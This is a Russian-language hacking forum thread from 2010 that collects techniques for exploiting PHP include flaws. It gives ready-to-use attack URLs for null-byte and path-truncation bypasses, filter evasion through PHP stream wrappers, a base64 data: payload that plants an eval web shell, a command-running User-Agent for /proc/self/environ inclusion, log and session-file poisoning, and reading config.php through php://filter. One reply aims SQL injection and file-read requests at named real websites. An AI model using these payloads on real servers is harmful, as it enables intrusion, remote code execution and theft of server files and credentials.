Старый 18.07.2010, 00:48   #1
Shadow
 
Регистрация: 02.07.2010
Сообщений: 35
Репутация: 55
По умолчанию Особенности реализации PHP include.

Особенности реализации PHP Include.

Введение.
В данной заметке, я попытался объединить в одном месте все фичи, найденные в последнее время и позволяющие повысить эффективность атаки на основе PHP Include.

Основы.
Внедрение PHP-кода (PHP Include) — это уязвимость, заключающаяся в возможности внедрения и выполнения произвольного кода на языке PHP.
Уязвимость возникает вследствие недостаточной проверки и контроля переменных, используемых внутри функций, осуществляющих подключение кода на этапе выполнения. Таких функций PHP всего четыре: include(), require(), include_once(), require_once().
Эксплуатируя данную уязвимость, существует возможность исполнения произвольного PHP-кода, а также чтения любых доступных файлов на веб-сервере, что в свою очередь позволяет получить контроль над веб-сервером.
Рассмотрим данную уязвимость наглядно на примере PHP-скрипта, содержащего следующую строку:

PHP код:
<?php if(!empty($_GET['page'])) include($_GET['page']); ?>
В данной строке происходит проверка переменной, полученной из HTTP GET параметра pаgе, и, если переменная не пустая, то происходит подключение и выполнение файла с именем, хранящимся в качестве значения этой переменной. Следует обратить внимание на то, что расширение подключаемого файла не имеет значения. Любой файл с любым расширением будет подключен и выполнен как РНР-скрипт, при этом, выполнен будет только код, заключенный в теги пхп (<?...?>), все остальное будет отображено в браузере в текстовом виде.

Классика. Null byte.
При этом часто встречается ситуация, когда в исходном коде к значению переменной добавляется расширение или дополнительный путь, что затрудняет выполнение и чтение произвольного локального файла или подключение произвольного файла с удаленного сервера. Например:

PHP код:
<?php include($_GET['page'].".txt");?>
В этом случае, применяется классический прием отбрасывания расширения подключаемого файла с использованием "ядовитого нуля" (символа конца строки с кодом %00), основанный на том, что функции include(), require(), include_once(), require_once() не являются бинарно безопасными.

Код:
index.php?page=/etc/passwd%00      –>      include(/etc/passwd)
Однако, при включенной директиве интерпретатора PHP magic_quotes_gpc = ON, используемый в таких целях "ядовитый ноль" подвергается экранированию и, как следствие, становится неэффективным:

Код:
index.php?page=/etc/passwd%00      –>      include(/etc/passwd\0)
Универсальный null byte.
В такой ситуации, также существует возможность реализовать внедрение произвольного PHP-кода с использованием двух особенностей в функциях PHP, используемых для взаимодействия с файловой системой:
1. Нормализация пути. Интерпретатор PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
В результате можно составить запрос, содержащий в передаваемом серверу параметре необходимое число символов «/» или «/.»:

Код:
index.php?page=/etc/passwd//[…]//      –>      include(/etc/passwd)
Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт.

Обход фильтрации протокола.
Удаленное внедрение PHP-кода (Remote PHP Include) — это уязвимость PHP Include, позволяющая выполнять в качестве PHP-скрипта любой доступный на чтение файл, расположенный на удаленном сервере.
Однако, встречаются ситуации, когда в приложении существует фильтрация удаленного подключения с использованием протоколов HTTP и FTP.

В этом случае можно воспользоваться тем, что реализации функций include(), require(), include_once(), require_once() позволяют подключать и исполнять файлы, доступные на удаленном сервере не только по протоколам HTTP и FTP, но и по протоколам HTTPS, FTPS и TFTP, что не отражено в официальной документации.

Код:
index.php?page=https://site/shell.php?      –>      include(https://site/shell.php)
В некоторых случаях, например, когда фильтрация на уровне mod_rewrite в .htaccess
Код:
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)=ftp(.*) [NC,OR]
можно воспользоваться способом с применением URL ENCODE

Код:
index.php?page=%68ttp://site/shell.php?      –>      include(http://site/shell.php)
Wrappers.
Если урлкодирование не помагает, то для обхода фильтрации протокола можно использовать различные упаковщики (Compression wrappers) типа zlib, bzip2 и т.д.

Код:
index.php?page=zlib:http://site/shell.php?      –>      include(zlib:http://site/shell.php)
Существует еще одна обертка - Data Wrapper. Она может помочь в случае отключения вышеуказанных упаковщиков. В качестве параметров используется:
- указывается mime-тип данных;
- указывается, алгоритм сжатия.

Пример использования

Код:
index.php?page=data:application/x-httpd-php;base64,PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4=&cmd=phpinfo()
где, PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4= есть <? eval($_REQUEST['cmd']); ?>.

Однако, в официальном мануале на использование данного способа накладывается следующее ограничение на атакуемый сервер, php.ini

Код:
allow_url_include = On
Хотя, как показывает, практика ограничение действует не всегда...

При этом, у данного способа есть один плюс, если при инклуде имеется расширение, его не надо отбрасывать ядовитым нулем, т.к. после символов == из бейз64, функции подключения кода перестают декодировать строку и всё лишнее отбросится.

Следующий метод особенно актуален в случаях, когда префикс 'http' фильтруется и упаковщики недоступны (bzip2, zlib).
В пхп существует несколько специальных оберток для работы с потоками (Stream Wrappers), в частности:
- php://stdin
- php://stdout
- php://stderr
- php://output
- php://input
- php://filter (available since PHP 5.0.0)
- php://memory (available since PHP 5.1.0)
- php://temp (available since PHP 5.1.0)
Некоторые из них могут быть использованы для передачи данных скрипту в обход всех фильтров.
Опять же, в официальном мануале на использование данного метода накладывается следующее ограничение на атакуемый сервер, php.ini

Код:
allow_url_include = On (PHP >= 5.1.0)
И, как показывает, практика ограничение действует не всегда...
Например, через обёртку потока входных данных php://input передаваемые POST данные становятся доступными, причём в сыром виде, то есть никакую фильтрацию они не проходят.
Остаётся лишь проинклудить поток, одновременно передав ему в переменной POST произвольный пхп-код.
Или с использованием обертки php://filter

Код:
index.php?page=php://filter/resource=http://www.site.com/shell.txt
Помимо этого, с помощью filter существует возможность чтения произвольных пхп файлов на сервере. Становится необходимым если конфиг хранится в пхп.

Код:
index.php?page=php://filter/convert.base64-encode/resource=config.php
Классика. Local Include.
Наиболее частой причиной, по которой невозможно внедрить внешний файл, является наличие некоторой последовательности перед параметром, используемым внутри функции include(), на который мы можем воздействовать. Например:

PHP код:
<?php include("/www/html/include/".$_GET['page'].".php");?>
Как правило, для внедрения произвольного кода в данном случае применяется классическая техника обхода жестких путей с использованием последовательностей для перемещения по каталогам «../» и «./». Другими словами, используя обход каталогов и отбрасывание присоединенной справа строки, существует возможность подключить и выполнить любой файл, находящийся на сервере:

Код:
index.php?page=../../../etc/passwd%00      –>      include(/etc/passwd)
Вместе с тем, часто возникает ситуация, когда необходимо выполнить целевой PHP-код на сервере, но при этом отсутствует возможность записи произвольных данных на сервер (например, отсутствует загрузка изображений и файлов).
В данной ситуации возможно применение классического подхода, основанного на внедрении произвольного PHP-кода в различные журналы регистрации событий сетевых приложений (лог-файлы), таких как HTTP- и FTP-серверы, и дальнейшего их подключения с использованием уязвимости локального внедрения PHP-кода. При таком подходе, как правило, возникают следующие трудности реализации:
- нестандартное размещение конфигурационных файлов и журналов регистрации событий в файловой системе;
- отсутствие права доступа на чтение к журналам регистрации событий.

ProcFS.
Для решения первой проблемы предлагается подход, основанный на использовании в низкоуровневых функциях ядра операционной системы файловых дескрипторов. В операционных системах семейства UNIX (за исключением семейства BSD систем) используется виртуальная файловая система procfs, которая по умолчанию монтируется в каталог /proc. Обращаясь к ее файлам можно работать с внутренними структурами ядра, получать различную информацию о процессах и изменять установки ядра "на лету". Иерархически структура каталогов и файлов, соответствующая запущенным в системе процессам и открытым в них файлов, представляется в виде /proc/pid/fd/n, где pid - идентификатор процесса, n - файловый дескриптор.
Для работы с текущим процессом используется зарезервированное слово self. Таким образом, в каталоге /proc/self содержится вся рабочая область текущего процесса, в случае с уязвимостью локального внедрения PHP-кода мы попадаем в окружение процесса HTTP-сервера. Следовательно, файлы, содержащие журналы регистрации событий, будут открыты и расположены в каталоге /proc/self/fd/n с именами от 1 до n. В результате, для внедрения и выполнения произвольного PHP-кода с использованием журналов регистрации неважно, где расположены конфигурационные файлы и журналы регистрации событий, достаточно перебрать значения от 1 до n.

Код:
index.php?page=../../../proc/self/fd/2%00    –>     include(/var/log/httpd/access.log)
Эмпирическим путем для большинства операционных систем семейства UNIX и HTTP-сервера Apache установлены следующие соответствия:

Код:
/proc/self/fd/2      –>      error.log
/proc/self/fd/8      –>      access.log
Необходимо отметить, что данный подход возможен, только в случае наличия прав доступа на чтение к файлам, содержащим журналы регистрации событий.

Помимо открытых процессом файловых потоков, можно воспользоваться переменными окружения текущего процесса/пользователя, которые расположены в /proc/self/environ.
Например, предварительно подготовив свой User-Agent

Код:
User-Agent: <?php system($_REQUEST['cmd']); ?>
мы можем его проинклудить

Код:
index.php?page=../../../proc/self/environ%00    –>     include(/proc/self/environ)
Файлы сессий.
В ситуации, когда журналы регистрации событий не доступны для чтения, для реализации внедрения PHP-кода предлагается подход, основанный на использовании файлов сеансов (Session). При идентификации пользователей веб-приложения, как правило, присваивают каждому новому пользователю уникальные идентификаторы (Session IDentifier, SID). Для этого обычно используются встроенные в интерпретатор PHP функции для работы с сеансами (session_start(), session_id() и т.д.).
При присвоении пользователю уникального идентификатора без какой-либо фильтрации входящего содержимого и независимо от способа передачи (в параметрах GET, POST или COOKIE HTTP-запроса) на сервере будет создан файл сеанса. Файл сеанса будет создан в каталоге, определенном директивой session.save_path конфигурационного файла php.ini интерпретатора PHP (по умолчанию session.save_path = /tmp). Имя созданного файла сеанса будет иметь вид sess_sid, где sid - уникальный идентификатор, который доступен из соответствующих параметров HTTP-запроса.

Код:
index.php?page=../../../tmp/sess_123456789%00    –>     include(/tmp/sess_123456789)
Как правило, можно напрямую или косвенно влиять на содержимое файла своего сеанса, и данный файл всегда доступен на чтение и запись. В результате, можно осуществить внедрение и выполнение произвольного PHP-кода с использованием уязвимости Local PHP Include.

Заключение.
В заключении необходимо отметить, что применение подходов, основанных на усечении и нормализации пути, использовании виртуальной файловой системы procfs и файлов сеансов, а также классических решений в совокупности позволит провести успешную атаку на основе PHP Include в различных ситуациях, в том числе, в ситуации, когда директива конфигурационного файла интерпретатора PHP magic_quotes = ON.

Последний раз редактировалось Shadow; 20.07.2010 в 02:44..
Shadow вне форума   Ответить с цитированием
Старый 20.07.2010, 02:05   #2
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

собственно добавить могу только одно
Для PHP <= 4.0.2 файлы, подключенные через require подключает файлы на начале этапа выполнения, а include во время интерпретации. И если include находится внутри блока if, и условие не выполнилось, то файл не будет подключен.

Сейчас эти две функции отличаются только реакцией на отсутствие файла. Тоесть include вызовет ворнинг и выполнение пхп скрипта продолжится, require же отдаст Fatal error и прекратит работу скрипта.
nobody вне форума   Ответить с цитированием
Старый 20.07.2010, 14:21   #3
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Универсальный null byte.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
в windows системах file.ext == file.ext. == file.ext..
поэтому
Код:
index.php?page=../../../../../../boot.ini..[...]..      –>      include(../../../../../../boot.ini)
DrakonHaSh вне форума   Ответить с цитированием
Старый 20.07.2010, 18:30   #4
Dr.TRO
 
Аватар для Dr.TRO
 
Регистрация: 06.07.2010
Сообщений: 90
Репутация: 21
По умолчанию

Цитата:
Последовательность после желаемого пути может состоять из символов «/», «/.», «./»; в win32 этот список гораздо шире: 0x20 (пробел), 0x22 («), 0x2E (.), 0x3c (<), 0x3e (>), 0x5c (\). Следует заметить, что в стандартных сборках PHP для удачной реализации уязвимости последним символом пути должна быть точка. Что касается символа «/», то его нормализация происходит на всех платформах, но в стандартной сборке PHP последовательность из слэшей преобразуется в один, поэтому очень часто его применение может быть невозможно. Однако по утверждениям Стефана Эссера использовать слэш в атаках можно на любых *bsd платформах, даже без Suhosin patch. По собственным наблюдениям могу предположить, что на всех *bsd-серверах длина последовательности составляет 1024 байта, в то время как на linux эта цифра в четыре раза больше. В windows была замечена самая короткая последовательность – не более 270 байт.
Источник
__________________
http://fc01.deviantart.net/fs48/f/20...eyecixramd.png
http://img156.imageshack.us/img156/2...userbartd7.png
Цитата:
root@rdot.org ~ # perl -MAcme::BadExample
Dr.TRO вне форума   Ответить с цитированием
Старый 20.07.2010, 22:46   #5
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Чтение содержимого каталога в ufs/ufs2

источник 1
источник 2

пример:
Код:
http://www.antiherpes.ru/show.php?id=../../../../../etc/..
в тайтле
BlackFan вне форума   Ответить с цитированием
Старый 21.07.2010, 01:17   #6
Shadow
 
Регистрация: 02.07.2010
Сообщений: 35
Репутация: 55
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
Чтение содержимого каталога в ufs/ufs2
Информация несомненно полезная, но тема касается пхп инклудов, поэтому для полного понимания ситуации необходимо отметить, что данная особенность реализуются только в функциях пхп работы с файлами (file, file_get_contents...) и не работает в функциях include, require, etc...
Shadow вне форума   Ответить с цитированием
Старый 21.07.2010, 02:35   #7
mailbrush
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 4
По умолчанию

Эта фишка (чтение каталога) работает и при инклудах в некоторых *nix системах (FreeBSD, если не ошибаюсь)...
mailbrush вне форума   Ответить с цитированием
Старый 21.07.2010, 02:50   #8
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

mailbrush
Давай пруф.
Мне почему-то тоже казалось, что при инклудах где-то работало, но начали смотреть с Shadow и что-то нифига не нашли, хотя я был уверен что пахало. Хотя мог и прогнать, конечно.

Вобщем кто найдёт с инклудом дайте линк посмотреть
Jokester вне форума   Ответить с цитированием
Старый 21.07.2010, 10:22   #9
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Блин, сорри, прогнал) Когда выкладывал, думал, что ссылку на include даю...

И похоже действительно не работает с инклюдом...

Код:
В sqli работает (очень удобно кстати путь искать, если ошибки php не отображаются)
http://www.analisi.ru/info.php?id=-10+union+select+1,load_file('/home/'),3,4%20--

В readfile тоже работает
http://www.analisi.ru/function.php?c=readfile('/home/');

А вот в инклюде нет...
http://www.analisi.ru/function.php?c=include('/home/');
Но и у scipio и здесь пишут, что можно использовать в инклюдах... Странно)
BlackFan вне форума   Ответить с цитированием
Старый 21.07.2010, 13:16   #10
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

еще есть каталог /porc/ который содержит ярлыки процессов.
ну и там все расположенно как то так /proc/[Pid процесса]
но так же есть /proc/self/ - это ярлык на вызываемый процесс
так вот, но еще есть ярлык cmdline который отвечает за информацию о запуске процесса, т.е. откуда был запущен процесс
и если /proc/self/ у нас отвечает за апач, то смотрим
/proc/self/cmdline и мы видим откуда был запущен и как apache
PHP код:
/usr/sbin/apache2-DDEFAULT_VHOST-DINFO-DLANGUAGE-DSSL-DSSL_DEFAULT_VHOST-DPHP5-DMAILMAN-DMONO_DEMO-DMONO-d/usr/lib/apache2-f/etc/apache2/httpd.conf-kstart 
т.е. апач у нас находится тут: /etc/apache2/httpd.conf
Если же апач был запущен из под /usr/sbin/ то мы увидим:
/usr/sbin/httpd соответственно, и если хватит прав, открыть /usr/sbin/httpd то мы увидим сорцы суидника, среди которых можно так же найти:
PHP код:
HTTPD_ROOT="путь до апача"
DEFAULT_ERRORLOG="путь до логов"
SERVER_CONFIG_FILE="путь до окнфига" 
Плюс можно узнать версию ядра /proc/version
PHP код:
Linux version 2.6.31.5-127.fc12.i686.PAE (mockbuild@x86-3.fedora.phx.redhat.com) (gcc version 4.4.2 20091027 (Red Hat 4.4.2-7) (GCC) ) #1 SMP Sat Nov 7 21:25:57 EST 2009 
Но /proc/self/ не всегда отвечает за апач, бывают случае когда это процесс PHP.
it's my вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot